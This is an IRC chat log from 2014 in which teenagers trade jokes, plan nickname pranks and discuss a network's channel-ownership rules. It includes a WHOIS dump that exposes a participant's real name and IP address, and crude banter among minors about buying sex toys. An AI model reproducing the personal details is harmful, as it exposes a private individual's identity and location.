[2014-11-20T00:07:15-0500] <+LittleBobbyTables> Why did you guys ban webchat :/4
[2014-11-20T00:07:27-0500] <bob_twinkles> "prevent spammers"
[2014-11-20T00:07:35-0500] <+LittleBobbyTables> ...k
[2014-11-20T00:07:38-0500] <Tam> are you just
[2014-11-20T00:07:44-0500] <Tam> ignoring creffett hoping it'll go away
[2014-11-20T00:07:44-0500] <bob_twinkles> if you annoy the ops enough you can get a specific exception =P
[2014-11-20T00:07:47-0500] <Tam> because it doesn't work that way
[2014-11-20T00:07:56-0500] <+LittleBobbyTables> I wish I were in there.
[2014-11-20T00:08:09-0500] <nezorg> Tam: we’ll see how this works out… I shouldn’t have said anything
[2014-11-20T00:08:11-0500] <+LittleBobbyTables> Too bad I never downloaded a client after I reformated.
[2014-11-20T00:08:16-0500] <Tam> yeah, probably
[2014-11-20T00:08:17-0500] <Tam> heh
[2014-11-20T00:08:18-0500] <Tam> its okay
[2014-11-20T00:08:20-0500] <awe> Hmm, okay.
[2014-11-20T00:08:24-0500] <awe> Textual is still great.
[2014-11-20T00:09:05-0500] <Tam> heh
[2014-11-20T00:09:37-0500] <+LittleBobbyTables> sdamashek: you should totally make an exception for me.
[2014-11-20T00:09:41-0500] <Tam> i think they forgot you existed.
[2014-11-20T00:09:49-0500] <Tam> nezorg: you have successfully infiltrated tj?
[2014-11-20T00:09:49-0500] <Tam> :P
[2014-11-20T00:09:57-0500] <nezorg> totally
[2014-11-20T00:10:02-0500] <Tam> ugh
[2014-11-20T00:10:05-0500] <Tam> school starts late tomorrow
[2014-11-20T00:10:12-0500] <Tam> do I homework or do I stay on irc and not
[2014-11-20T00:10:15-0500] <nezorg> fuck why didn’t I start this irssi in a screen
[2014-11-20T00:10:19-0500] <sdamashek> 30 minutes late @_@
[2014-11-20T00:10:47-0500] <sdamashek> LittleBobbyTables: you don't even go to TJ
[2014-11-20T00:10:53-0500] <+LittleBobbyTables> So
[2014-11-20T00:11:02-0500] <Tam> LittleBobbyTables, you're like 47 :P
[2014-11-20T00:11:05-0500] <Tam> and nezorg: ?
[2014-11-20T00:11:15-0500] <nezorg> age? 16
[2014-11-20T00:11:18-0500] <Tam> oh
[2014-11-20T00:11:24-0500] <Tam> i was asking what was happening
[2014-11-20T00:11:27-0500] <nezorg> oh
[2014-11-20T00:11:29-0500] <nezorg> derp
[2014-11-20T00:11:35-0500] <Tam> :P
[2014-11-20T00:11:38-0500] <nezorg> nothing is happening
[2014-11-20T00:11:39-0500] <Tam> i assumed you were 16ish
[2014-11-20T00:11:42-0500] <Tam> birthday? o-o
[2014-11-20T00:11:49-0500] <nezorg> july
[2014-11-20T00:11:55-0500] <Tam> damn, you're so young
[2014-11-20T00:11:58-0500] <Tam> -______-
[2014-11-20T00:12:19-0500] <+LittleBobbyTables> You're like 16 as well.
[2014-11-20T00:13:04-0500] <nezorg> huzzah!
[2014-11-20T00:13:05-0500] <Tam> I turn 17 really really soon
[2014-11-20T00:13:06-0500] <Tam> like
[2014-11-20T00:13:08-0500] <nezorg> reptyr is cool
[2014-11-20T00:13:08-0500] <Tam> less than a month soon
[2014-11-20T00:13:17-0500] <bob_twinkles> I can vote!
[2014-11-20T00:13:21-0500] <bob_twinkles> and buy cigarettes!
[2014-11-20T00:13:22-0500] <Tam> haha, nice
[2014-11-20T00:13:23-0500] <bob_twinkles> and dildos!
[2014-11-20T00:13:27-0500] <Tam> (and dildos)
[2014-11-20T00:13:28-0500] <Tam> dammit
[2014-11-20T00:13:29-0500] <Tam> beat me to it
[2014-11-20T00:13:33-0500] <Tam> and lottery tickets, right? :P
[2014-11-20T00:13:34-0500] <awe> Tam, I just turned 18 recently.
[2014-11-20T00:13:36-0500] <bob_twinkles> yeah
[2014-11-20T00:13:47-0500] <Tam> and no driving curfew, iirc
[2014-11-20T00:13:48-0500] <nezorg> …there’s an age limit on buying dildos?
[2014-11-20T00:13:52-0500] <Tam> (apparentl)
[2014-11-20T00:13:54-0500] <Tam> y
[2014-11-20T00:13:56-0500] <+LittleBobbyTables> I can buy pot
[2014-11-20T00:13:56-0500] <bob_twinkles> yep
[2014-11-20T00:14:00-0500] <nezorg> maybe it depends on state
[2014-11-20T00:14:05-0500] <bob_twinkles> 'cause obsceinity laws
[2014-11-20T00:14:07-0500] <bob_twinkles> probably
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[2014-11-20T00:14:20-0500] <Tam> so now we can hire bob_twinkles to buy our dildos?
[2014-11-20T00:14:22-0500] <Tam> :O
[2014-11-20T00:14:25-0500] <bob_twinkles> uh
[2014-11-20T00:14:27-0500] <bob_twinkles> I guess?
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[2014-11-20T00:14:42-0500] <Tam> something something twinkles party never happened
[2014-11-20T00:14:42-0500] <Tam> >.<
[2014-11-20T00:14:51-0500] <bob_twinkles> wot
[2014-11-20T00:14:52-0500] <bob_twinkles> oh
[2014-11-20T00:14:54-0500] <bob_twinkles> yeah
[2014-11-20T00:14:58-0500] <nezorg> …?
[2014-11-20T00:14:59-0500] <bob_twinkles> we were become pico embodied
[2014-11-20T00:15:12-0500] <bob_twinkles> My birthday was November 2, right in the middle of pico =P
[2014-11-20T00:15:20-0500] <nezorg> ah
[2014-11-20T00:15:22-0500] <awe> There's no age limit on buying dildos.
[2014-11-20T00:15:30-0500] <awe> At least, I'm fairly certain.
[2014-11-20T00:15:35-0500] <Tam> we wanted to throw him a birthday party
[2014-11-20T00:15:38-0500] <Tam> and use it as an excuse to pico
[2014-11-20T00:15:53-0500] <Tam> but then we got too much work done :P
[2014-11-20T00:16:00-0500] <awe> Yeah, there's no age restrictions on dildos.
[2014-11-20T00:16:08-0500] <Tam> huh, weird.
[2014-11-20T00:16:09-0500] <awe> The only thing is that you probably can't go into a sex shop if you're under 18 because porn.
[2014-11-20T00:16:18-0500] <awe> But you can buy a dildo at Spencer's, for example.
[2014-11-20T00:16:20-0500] <Tam> order online?
[2014-11-20T00:16:21-0500] <Tam> problem solved
[2014-11-20T00:16:31-0500] <awe> That too.
[2014-11-20T00:16:57-0500] <bob_twinkles> I think there's a limit online too
[2014-11-20T00:17:03-0500] <bob_twinkles> b/c OMG nekkid people
[2014-11-20T00:17:11-0500] <awe> Only if porn is involved.
[2014-11-20T00:17:15-0500] <bob_twinkles> I'm not sure, I haven't looked in to it that much 
[2014-11-20T00:17:15-0500] <awe> Buying a dildo has no age restrictions!
[2014-11-20T00:17:34-0500] <Tam> bob_twinkles: you should ask for a source
[2014-11-20T00:17:38-0500] <Tam> from the guy that told you that initially
[2014-11-20T00:17:38-0500] <nezorg> huh
[2014-11-20T00:17:42-0500] <Tam> it was someone on #tjhsst, right?
[2014-11-20T00:17:47-0500] <nezorg> still no one’s done anything about me
[2014-11-20T00:17:48-0500] <Tam> and nezorg, I'm pretty sure he forgot about you
[2014-11-20T00:17:48-0500] <Tam> LOL
[2014-11-20T00:17:49-0500] <+LittleBobbyTables> http://www.gurl.com/2011/01/31/how-to-buy-a-dildo-or-vibrator-if-youre-under-18/
[2014-11-20T00:17:55-0500] <Tam> jesus
[2014-11-20T00:18:12-0500] <alokpathy> Tam: Make me unbanned from #tjhsst plz
[2014-11-20T00:18:17-0500] <alokpathy> I go to your school
[2014-11-20T00:18:27-0500] <Tam> uhh
[2014-11-20T00:18:29-0500] <+LittleBobbyTables> Just in case you were curious.
[2014-11-20T00:18:32-0500] <Tam> use a non-web client
[2014-11-20T00:18:33-0500] <Tam> ezpz
[2014-11-20T00:18:37-0500] <Tam> and now I have that in my history
[2014-11-20T00:18:39-0500] <Tam> ._.
[2014-11-20T00:18:40-0500] <Tam> brb clearing
[2014-11-20T00:18:50-0500] <bob_twinkles> Tam: wrong on both the male and #tjhsst counts
[2014-11-20T00:19:17-0500] <Tam> who was it, then? o-o
[2014-11-20T00:19:20-0500] <alokpathy> Tam: Oh wait actually?
[2014-11-20T00:19:21-0500] <alokpathy> darn
[2014-11-20T00:19:26-0500] <alokpathy> fine. I'll do it later
[2014-11-20T00:19:33-0500] <Tam> or yknow
[2014-11-20T00:19:35-0500] <Tam> do it now
[2014-11-20T00:19:40-0500] <Tam> bring nezorg back to attention
[2014-11-20T00:19:40-0500] <Tam> LOL
[2014-11-20T00:19:48-0500] <+LittleBobbyTables> Why'd you even click on that link if you didn't want it in your history
[2014-11-20T00:20:34-0500] <Tam> i was curious on what it said! 
[2014-11-20T00:20:42-0500] <Tam> in a completely innocent manner, of course
[2014-11-20T00:20:42-0500] <Tam> >.>
[2014-11-20T00:20:45-0500] <+LittleBobbyTables> "Gee, I wonder what this 'how to buy a dildo or vibrator if youre under 18' site is. Oh. It's how to buy a dildo for underage people. I never expected that"
[2014-11-20T00:21:01-0500] <Tam> yknow, sometimes titles are misleading
[2014-11-20T00:21:15-0500] <nezorg> maybe it was actually a story about kittens
[2014-11-20T00:21:26-0500] <+LittleBobbyTables> It's OK, I'm here to help you with your wanted dildo sex life.
[2014-11-20T00:21:30-0500] <nezorg> don’t judge an article by its title
[2014-11-20T00:21:35-0500] <awe> Yeah, man.
[2014-11-20T00:21:40-0500] <awe> Haven't you seen what's become of journalism lately?
[2014-11-20T00:22:10-0500] <bob_twinkles> on the internet it usually tends to involve _more_ boobs and/or gore, not less
[2014-11-20T00:22:54-0500] <+LittleBobbyTables> What nick should I use
[2014-11-20T00:23:54-0500] <Tam> lol
[2014-11-20T00:23:57-0500] <Tam> shh
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[2014-11-20T00:24:41-0500] <nezorg> LittleBobbyTables: selbaTybboBelttiL
[2014-11-20T00:25:03-0500] <+LittleBobbyTables> Genius.
[2014-11-20T00:25:23-0500] <nezorg> LittleBobbyTables: BigBobbyTables
[2014-11-20T00:25:44-0500] <bob_twinkles> MediumBobbyTables?
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[2014-11-20T00:26:10-0500] Set by Pidgey on November 19, 2014 at 10:16:05 PM EST
[2014-11-20T00:26:10-0500] Mode is +nt
[2014-11-20T00:26:11-0500] <bob_twinkles> ABCDEF1234567890
[2014-11-20T00:26:20-0500] <bob_twinkles> or 0123456789ABCDEF
[2014-11-20T00:26:31-0500] <nezorg> can’t start with numeral
[2014-11-20T00:26:44-0500] <bob_twinkles> or hex_masterABCDEF
[2014-11-20T00:26:52-0500] <bob_twinkles> I think that's 16
[2014-11-20T00:27:02-0500] <+LittleBobbyTables> Once I get a client.
[2014-11-20T00:27:17-0500] <nezorg> LittleBobbyTables: 4c425461626c6573
[2014-11-20T00:27:22-0500] <Tam> oh god
[2014-11-20T00:28:13-0500] <bob_twinkles> nezorg: that's ascii right?
[2014-11-20T00:28:26-0500] <nezorg> bob_twinkles: yeah but it’s xor-encrypted
[2014-11-20T00:28:58-0500] <bob_twinkles> I'm not sure if the fact that I recognized ascii is a good thing or a bad thing
[2014-11-20T00:29:11-0500] <nezorg> I’d be disappointed if you didn't
[2014-11-20T00:29:14-0500] <ubuntor> when in doubt, ascii to hex
[2014-11-20T00:29:18-0500] <Tam> oh god, speaking of which
[2014-11-20T00:29:24-0500] <Tam> those raytheon cards ._.
[2014-11-20T00:29:34-0500] <Tam> a guy started reading off hex off the top of his head
[2014-11-20T00:29:36-0500] <Tam> i could not
[2014-11-20T00:29:47-0500] <+LittleBobbyTables> Not that hard
[2014-11-20T00:30:02-0500] <Tam> it was just the nerdiest thing i'd seen all day
[2014-11-20T00:30:25-0500] <bob_twinkles> I wish I could read x86 opcodes without needing to disassemble them
[2014-11-20T00:30:29-0500] <Tam> lol
[2014-11-20T00:30:30-0500] <bob_twinkles> but I don't CTF that much =P
[2014-11-20T00:30:38-0500] <Tam> maybe if you ctf'd more ;P
[2014-11-20T00:30:40-0500] <alokpathy> bob_twinkles: People get used to that?
[2014-11-20T00:30:42-0500] <hardmath123> Pfft I clearly have no social life.
[2014-11-20T00:30:45-0500] <+LittleBobbyTables> Today in Psych class, my teacher was talking about Binet test and describing how they calculated IQ
[2014-11-20T00:30:45-0500] <Tam> oh hey, did you sign up for that thing with the thing?
[2014-11-20T00:30:57-0500] <Tam> the one tomorrow, that is
[2014-11-20T00:31:01-0500] <+LittleBobbyTables> She gave a mental age of 14, and a chronological age of 12, and asked people to do the math
[2014-11-20T00:31:26-0500] <+LittleBobbyTables> Once she put out the numbers, I said the answer out loud, but she didn't believe I had it right until like 5 people with calculators took 2 minutes to do it :(
[2014-11-20T00:31:29-0500] <bob_twinkles> alokpathy: yeah, some of the guys who work for security labs can apparently recognize/get a feel for what some binary does without need to disassemble it
[2014-11-20T00:31:30-0500] <ubuntor> only opcode you need is nop :P
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[2014-11-20T00:31:32-0500] Set by Pidgey on November 19, 2014 at 10:16:05 PM EST
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[2014-11-20T00:31:55-0500] <bob_twinkles> lol
[2014-11-20T00:31:58-0500] <bob_twinkles> 0x90 IIRC
[2014-11-20T00:32:24-0500] <ubuntor> also, realized what 0x90.avi meant in the middle of pico
[2014-11-20T00:32:29-0500] <nezorg> bob_twinkles: rhelmot has some sense of that for ARM since he did some stuff with manually decoding the instructions
[2014-11-20T00:32:37-0500] <nezorg> ubuntor: lol
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[2014-11-20T00:32:57-0500] Set by Pidgey on November 19, 2014 at 10:16:05 PM EST
[2014-11-20T00:32:57-0500] Pidgey sets mode +q awe
[2014-11-20T00:32:57-0500] Mode is +nt
[2014-11-20T00:33:00-0500] <ubuntor> it's pretty clever
[2014-11-20T00:33:03-0500] <nezorg> ah
[2014-11-20T00:33:08-0500] <bob_twinkles> oh
[2014-11-20T00:33:09-0500] <bob_twinkles> nope.avi
[2014-11-20T00:33:11-0500] <bob_twinkles> I geddit
[2014-11-20T00:33:17-0500] <nezorg> I reddit
[2014-11-20T00:33:18-0500] <+LittleBobbyTables> Forgot to bring up my vpn.
[2014-11-20T00:33:22-0500] <bob_twinkles> actually I vim
[2014-11-20T00:33:23-0500] <~awe> Okay, cool.
[2014-11-20T00:33:24-0500] <bob_twinkles> but sure
[2014-11-20T00:33:26-0500] <+LittleBobbyTables> Also, I hate my school.
[2014-11-20T00:33:26-0500] <~awe> Everything is set up now.
[2014-11-20T00:33:30-0500] <~awe> with ZNC.
[2014-11-20T00:33:31-0500] <bob_twinkles> hmmmmm
[2014-11-20T00:33:34-0500] <bob_twinkles> vim plugin
[2014-11-20T00:33:34-0500] <+LittleBobbyTables> They don't let us use Google's DNS
[2014-11-20T00:33:38-0500] <bob_twinkles> that lets you navigate reddit
[2014-11-20T00:33:44-0500] <~awe> LittleBobbyTables: do you really want Google knowing every website you visit?
[2014-11-20T00:33:45-0500] <bob_twinkles> there's already redditfs
[2014-11-20T00:33:49-0500] <ubuntor> you should pico
[2014-11-20T00:33:54-0500] <+LittleBobbyTables> They do anyway.
[2014-11-20T00:33:59-0500] <Tam> bob_twinkles: you mean nop.avi :P
[2014-11-20T00:34:11-0500] <bob_twinkles> Tam: well yeah, sure
[2014-11-20T00:34:21-0500] <Tam> nyeh
[2014-11-20T00:34:28-0500] <ubuntor> wait, that's a thing?
[2014-11-20T00:34:43-0500] <ubuntor> that's great
[2014-11-20T00:34:45-0500] awe has userhost awe@irc.pdgn.co and real name "Aaron Weiss"
[2014-11-20T00:34:45-0500] awe is connecting from awe@104.236.15.100 104.236.15.100
[2014-11-20T00:34:45-0500] awe is on ~#pdgn ~#rust 
[2014-11-20T00:34:45-0500] awe is connected on irc.pdgn.co (Pidgeon Company)
[2014-11-20T00:34:45-0500] awe is a NetAdmin on PdgnCo
[2014-11-20T00:34:45-0500] awe is using modes +or
[2014-11-20T00:34:45-0500] awe is a registered nick
[2014-11-20T00:34:45-0500] awe is using a secure connection
[2014-11-20T00:34:45-0500] awe signed on at November 20, 2014 at 12:32:57 AM EST and has been idle for 1 minute, 1 second
[2014-11-20T00:34:49-0500] <+LittleBobbyTables> There, joined.
[2014-11-20T00:34:58-0500] <Tam> so original 
[2014-11-20T00:34:59-0500] <bob_twinkles> imagine if the original engineers of x86 had named it noop like it should be
[2014-11-20T00:35:05-0500] <bob_twinkles> so many jokes would never have been written
[2014-11-20T00:35:07-0500] <~awe> Somebody27: Oh. I see who you are now.
[2014-11-20T00:35:12-0500] <+LittleBobbyTables> There's a lot of J's.
[2014-11-20T00:35:17-0500] <Tam> awe: isn't that little berger?
[2014-11-20T00:35:19-0500] <~awe> Yes.
[2014-11-20T00:35:20-0500] <~awe> I didn't realize.
[2014-11-20T00:35:34-0500] <Tam> what's is actual name?
[2014-11-20T00:35:36-0500] <~awe> Sammy.
[2014-11-20T00:35:37-0500] <nezorg> LittleBobbyTables: nice nick
[2014-11-20T00:35:42-0500] <+LittleBobbyTables> Thanks.
[2014-11-20T00:35:45-0500] <Tam> Sam concentration is too high ._.
[2014-11-20T00:35:49-0500] <Tam> make them fight for supremacy
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[2014-11-20T00:35:56-0500] <+LittleBobbyTables> Nobody ever suspects me.
[2014-11-20T00:36:05-0500] <Tam> you know
[2014-11-20T00:36:11-0500] <Tam> why is it so easy to infiltrate this channel
[2014-11-20T00:36:11-0500] <~awe> Lol, my client now highlights be because it's the name of a person.
[2014-11-20T00:36:21-0500] <Tam> if I had known I would've just ignored creffett until he forgot about me 
[2014-11-20T00:36:40-0500] <+LittleBobbyTables> Nobody said anything about me at all.
[2014-11-20T00:36:40-0500] <~awe> Guys, can I actually get some opinions on the democracy thing so that I can implement it as is or not?
[2014-11-20T00:36:44-0500] <bob_twinkles> I think 'cause laudiacay has spent the last couple months antagonizing the leadership
[2014-11-20T00:37:00-0500] <ubuntor> sounds reasonable
[2014-11-20T00:37:03-0500] <ubuntor> given enough people
[2014-11-20T00:37:07-0500] <nezorg> we should connect a bunch of random clients to #tjhsst
[2014-11-20T00:37:07-0500] <+LittleBobbyTables> That might also be because I don't know where PMs show up in hexchat lol.
[2014-11-20T00:37:09-0500] <nezorg> see what happens
[2014-11-20T00:37:14-0500] <Tam> jesus christ
[2014-11-20T00:37:21-0500] <+LittleBobbyTables> I have a flooder
[2014-11-20T00:37:22-0500] <Tam> if you do, I have no idea who you are.
[2014-11-20T00:37:23-0500] <ubuntor> "identify yourself"
[2014-11-20T00:37:24-0500] <~awe> ubuntor: do you think that fiats are necessary or nah?
[2014-11-20T00:37:25-0500] <Tam> :)
[2014-11-20T00:37:42-0500] <ubuntor> awe: i don't think so
[2014-11-20T00:37:46-0500] <+LittleBobbyTables> Why did I not even get asked who I am?
[2014-11-20T00:37:47-0500] <ubuntor> seems complete as it is
[2014-11-20T00:37:56-0500] <~awe> So, just take em out?
[2014-11-20T00:37:57-0500] <nezorg> LittleBobbyTables: because who wouldn’t want BigBobbyTables
[2014-11-20T00:38:01-0500] <Tam> no one cares about you
[2014-11-20T00:38:03-0500] <Tam> or, yknow
[2014-11-20T00:38:09-0500] <Tam> nezorg has a slightly nicer explanation :P
[2014-11-20T00:38:28-0500] <+LittleBobbyTables> Wow, Tamini.
[2014-11-20T00:38:30-0500] <+LittleBobbyTables> So rude.
[2014-11-20T00:38:32-0500] <Tam> <3
[2014-11-20T00:38:35-0500] <+LittleBobbyTables> </3
[2014-11-20T00:38:37-0500] <Tam> i say it with love and adoration
[2014-11-20T00:38:38-0500] <Tam> of course
[2014-11-20T00:38:55-0500] <+LittleBobbyTables> "No one cares about you" she said, with love, of course.
[2014-11-20T00:39:02-0500] <~awe> LittleBobbyTables: your nick is BigBobbyTables?
[2014-11-20T00:39:03-0500] <Tam> i am a tsundere irl
[2014-11-20T00:39:05-0500] <Tam> didn't you know
[2014-11-20T00:39:05-0500] <bob_twinkles> awe: there should probably be some network-operator level override for anarchy in case someone makes an oops
[2014-11-20T00:39:10-0500] <+LittleBobbyTables> On freenode.
[2014-11-20T00:39:13-0500] <~awe> LittleBobbyTables: That sounds like a pornstar name.
[2014-11-20T00:39:17-0500] <~awe> bob_twinkles: I mean, there is.
[2014-11-20T00:39:17-0500] <Tam> LOL
[2014-11-20T00:39:19-0500] <Tam> oh god, awe.
[2014-11-20T00:39:37-0500] <Tam> i thought we were going full anarcho-communism
[2014-11-20T00:39:39-0500] <Tam> with everyone equal
[2014-11-20T00:39:41-0500] <+LittleBobbyTables> I wonder if I should say something in that room.
[2014-11-20T00:39:45-0500] <+LittleBobbyTables> See if that gets any response.
[2014-11-20T00:39:48-0500] <nezorg> awe: sounds like that with s/bb/ob/
[2014-11-20T00:39:52-0500] <Tam> god, jacob
[2014-11-20T00:39:57-0500] <Tam> why are you so desperate for attention? :P
[2014-11-20T00:40:04-0500] <~awe> bob_twinkles: I can do /SAMODE and stuff to make changes if I absolutely need to.
[2014-11-20T00:40:09-0500] <~awe> bob_twinkles: I don't think I really will though.
[2014-11-20T00:40:25-0500] <Tam> nezorg: eh, I think the first one was better
[2014-11-20T00:40:26-0500] <Tam> more subtle.
[2014-11-20T00:40:28-0500] <+LittleBobbyTables> I feel left out that you got interrogated, and nezorg got questioned :(
[2014-11-20T00:40:32-0500] <~awe> Tam: there isn't a way for me to give up that power because I run the server.
[2014-11-20T00:40:34-0500] <+LittleBobbyTables> You made it seem like it was a huge deal.
[2014-11-20T00:40:43-0500] <~awe> Tam: but yeah, I mean, I'll treat everyone as equals.
[2014-11-20T00:40:48-0500] <bob_twinkles> awe: just document it and put in wording that says something to the effective of "you have to make it really obvious you fucked up or I won't fix it"
[2014-11-20T00:40:54-0500] <Tam> (or so you claim)
[2014-11-20T00:40:56-0500] <Tam> jk <#
[2014-11-20T00:41:06-0500] <~awe> bob_twinkles: oh, do you mean for changing the owner to Pidgey?
[2014-11-20T00:41:14-0500] <bob_twinkles> yeah
[2014-11-20T00:41:29-0500] <~awe> Yeah, I might add a way to drop a registered channel.
[2014-11-20T00:41:29-0500] <bob_twinkles> I guess my real question is why is that action irreversable
[2014-11-20T00:41:41-0500] <~awe> I was just unsure about how to reverse it.
[2014-11-20T00:41:54-0500] <~awe> If I allow you to just reclaim ownership, then it's like... you can just become dictator by force again.
[2014-11-20T00:42:03-0500] <Tam> lol
[2014-11-20T00:42:08-0500] <~awe> So, I may allow you to just drop registered channels using their password.
[2014-11-20T00:42:09-0500] <bob_twinkles> reclaim ownership by a vote?
[2014-11-20T00:42:20-0500] <~awe> Maybe.
[2014-11-20T00:42:25-0500] <Tam> LittleBobbyTables: he noticed you
[2014-11-20T00:42:26-0500] <Tam> are you happy?
[2014-11-20T00:42:28-0500] <+LittleBobbyTables> He did.
[2014-11-20T00:42:28-0500] <nezorg> LittleBobbyTables: awwww why’d you say something
[2014-11-20T00:42:31-0500] <+LittleBobbyTables> lol
[2014-11-20T00:42:41-0500] <Tam> i love how s0lder actualy does not care
[2014-11-20T00:42:45-0500] <~awe> I think Jacob said no to that, but if people think it's a better idea, I was already leaning towards a vote to reclaim ownership.
[2014-11-20T00:42:45-0500] <nezorg> now he’ll remember me
[2014-11-20T00:43:03-0500] <Tam> shhh
[2014-11-20T00:43:06-0500] <Tam> blend in with your surroundings!
[2014-11-20T00:43:16-0500] <nezorg> ./nick Tamini_
[2014-11-20T00:43:21-0500] <+LittleBobbyTables> PERFECT
[2014-11-20T00:43:26-0500] <+LittleBobbyTables> No one will EVER suspect that
[2014-11-20T00:43:39-0500] <~awe>  /nick sdamashek_
[2014-11-20T00:43:44-0500] <~awe>  /nick bob_twinkles_
[2014-11-20T00:43:48-0500] • awe: shift-eyes.
[2014-11-20T00:43:54-0500] <+LittleBobbyTables>  /nick BigBobbyTables_
[2014-11-20T00:44:03-0500] <Tam> wait thats actually
[2014-11-20T00:44:04-0500] <Tam> LOL
[2014-11-20T00:44:06-0500] <Tam> amazing
[2014-11-20T00:44:39-0500] <Tam> ....and i think creffett lost interest again
[2014-11-20T00:44:48-0500] <+LittleBobbyTables> Who's NoVA people
[2014-11-20T00:44:50-0500] <Tam> goddammit why did I not know that the solution was to ignore him
[2014-11-20T00:45:15-0500] <bob_twinkles> LittleBobbyTables: NOrthern VirginiA
[2014-11-20T00:45:27-0500] <+LittleBobbyTables> Ah
[2014-11-20T00:45:51-0500] <ubuntor> is neovim worth using at this time?
[2014-11-20T00:45:52-0500] <+LittleBobbyTables> Success.
[2014-11-20T00:46:01-0500] <+LittleBobbyTables> <csssuf> deep pockets? mysterious nick/IP? won't say who he is? must be jholtom
[2014-11-20T00:46:40-0500] <bob_twinkles> ubuntor: it's not substantially different from vim, unless you want to start writting a UI or something don't bother
[2014-11-20T00:46:47-0500] <ubuntor> alright
[2014-11-20T00:46:51-0500] <sdamashek> awe: I own sdamashek_
[2014-11-20T00:46:53-0500] <bob_twinkles> it's marginally faster in some cases
[2014-11-20T00:46:56-0500] <~awe> sdamashek: clever.
[2014-11-20T00:47:04-0500] <~awe> So, .rs is both the extension for Rust files and also a valid TLD.
[2014-11-20T00:47:12-0500] <~awe> A Ruster bought http://lib.rs
[2014-11-20T00:47:20-0500] <nezorg> lol
[2014-11-20T00:47:29-0500] <~awe> I want someone to get lang.rs and make it rust-lang.org
[2014-11-20T00:47:31-0500] <Tam> aww, jacob
[2014-11-20T00:47:35-0500] <Tam> I think you just lost.
[2014-11-20T00:47:38-0500] <+LittleBobbyTables> :(
[2014-11-20T00:47:50-0500] <+LittleBobbyTables> Good thing it's a VPN.
[2014-11-20T00:47:55-0500] <nezorg> I haven’t lost yet!
[2014-11-20T00:47:59-0500] <sdamashek> I also own sdamashrek
[2014-11-20T00:48:01-0500] <Tam> I think they forgot you existed
[2014-11-20T00:48:02-0500] <Tam> LOL
[2014-11-20T00:48:02-0500] <sdamashek> so don't get any ideas
[2014-11-20T00:48:04-0500] <Tam> sdamashrek
[2014-11-20T00:48:05-0500] <Tam> are you serious
[2014-11-20T00:48:08-0500] <Tam> 10/10
[2014-11-20T00:48:21-0500] <+LittleBobbyTables> Wow
[2014-11-20T00:48:21-0500] <+LittleBobbyTables> lol
[2014-11-20T00:48:28-0500] <ubuntor> gg
[2014-11-20T00:48:28-0500] <sdamashek> :P
[2014-11-20T00:48:34-0500] <Tam> *waits for response in fascination*
[2014-11-20T00:48:40-0500] <bob_twinkles> creffett is... special
[2014-11-20T00:48:44-0500] <Tam> he's very special
[2014-11-20T00:48:45-0500] <Tam> ._.
[2014-11-20T00:48:47-0500] <sdamashek> I apparently also own "FCPS"
[2014-11-20T00:48:48-0500] <Tam> first time I came on
[2014-11-20T00:48:52-0500] <Tam> i wanted to run away
[2014-11-20T00:48:56-0500] <Tam> wait, waht?
[2014-11-20T00:48:58-0500] <Tam> what*
[2014-11-20T00:49:01-0500] <Tam> how did that happen ._.
[2014-11-20T00:49:02-0500] <sdamashek> the nick FCPS
[2014-11-20T00:49:09-0500] <sdamashek> I probably nicked to it some time and grouped it
[2014-11-20T00:49:15-0500] <Tam> haha, nice
[2014-11-20T00:49:16-0500] <bob_twinkles> LittleBobbyTables: ohdamn you got the fullstop
[2014-11-20T00:49:21-0500] <~awe>  /s/Ruster/Rustacean
[2014-11-20T00:49:27-0500] <Tam> aww, damn
[2014-11-20T00:49:28-0500] <Tam> you tried.
[2014-11-20T00:49:30-0500] <+LittleBobbyTables> :(
[2014-11-20T00:49:31-0500] <bob_twinkles> you can feel the sarcasm over the internet
[2014-11-20T00:49:42-0500] <Tam> lol
[2014-11-20T00:49:46-0500] <sdamashek> yes.
[2014-11-20T00:49:48-0500] <sdamashek> you.
[2014-11-20T00:49:50-0500] <sdamashek> can.
[2014-11-20T00:49:54-0500] <bob_twinkles> and now he's waving his dick of power around =P
[2014-11-20T00:49:56-0500] <Tam> he's such an interesting person
[2014-11-20T00:49:57-0500] <Tam> LOL
[2014-11-20T00:49:59-0500] <~awe> sdamashek: do you own sdamashrekt though?
[2014-11-20T00:50:04-0500] <Tam> wait
[2014-11-20T00:50:05-0500] <Tam> one sec
[2014-11-20T00:50:08-0500] <Tam> brb registering
[2014-11-20T00:50:09-0500] <sdamashek> awe: nope
[2014-11-20T00:50:23-0500] <+LittleBobbyTables> s0lder's got my back
[2014-11-20T00:50:38-0500] <Tam> dammit
[2014-11-20T00:50:40-0500] <+LittleBobbyTables> Somewhat.
[2014-11-20T00:50:42-0500] <Tam> it's being used
[2014-11-20T00:50:42-0500] <Tam> :<
[2014-11-20T00:50:43-0500] <+LittleBobbyTables> What'd you try to do?
[2014-11-20T00:50:44-0500] <sdamashek> I do now
[2014-11-20T00:50:48-0500] <Tam> stop it sam
[2014-11-20T00:50:50-0500] <sdamashek> get rekt Tam 
[2014-11-20T00:50:57-0500] <sdamashek> my internet is faster than yours
[2014-11-20T00:50:59-0500] <Tam> LOL
[2014-11-20T00:50:59-0500] <sdamashek> :P
[2014-11-20T00:51:04-0500] <Tam> oh, shush
[2014-11-20T00:51:27-0500] <bob_twinkles> sry team I lagged
[2014-11-20T00:51:37-0500] <~awe> sdamashek: you should use that nickname instead.
[2014-11-20T00:51:42-0500] <Tam> yeah
[2014-11-20T00:51:43-0500] <Tam> switch to it
[2014-11-20T00:51:44-0500] <Tam> :P
[2014-11-20T00:51:54-0500] sdamashek is now known as sdamashrek
[2014-11-20T00:52:00-0500] <~awe> n, sdamashrekt
[2014-11-20T00:52:03-0500] <Tam> oh god he's in charge
[2014-11-20T00:52:04-0500] <Tam> LOL
[2014-11-20T00:52:09-0500] Tam is now known as sdamashrekt
[2014-11-20T00:52:10-0500] <+LittleBobbyTables> It's ok, I got this.
[2014-11-20T00:52:10-0500] <~awe> He's registered the nicknames here now.
[2014-11-20T00:52:13-0500] <sdamashrekt> can i steal it here
[2014-11-20T00:52:14-0500] <sdamashrekt> LOL
[2014-11-20T00:52:18-0500] <sdamashrek> :P
[2014-11-20T00:52:22-0500] <sdamashrekt> inb4 ghosted
[2014-11-20T00:52:27-0500] <sdamashrek> no
[2014-11-20T00:52:31-0500] <~awe> sdamashrekt: Nah, it's not registered yet.
[2014-11-20T00:52:32-0500] <sdamashrek> I don't really care on this network :P
[2014-11-20T00:52:34-0500] sdamashrek is now known as sdamashek
[2014-11-20T00:52:41-0500] <~awe> sdamashrekt: My network is important though. :(
[2014-11-20T00:52:57-0500] <sdamashrekt> lol
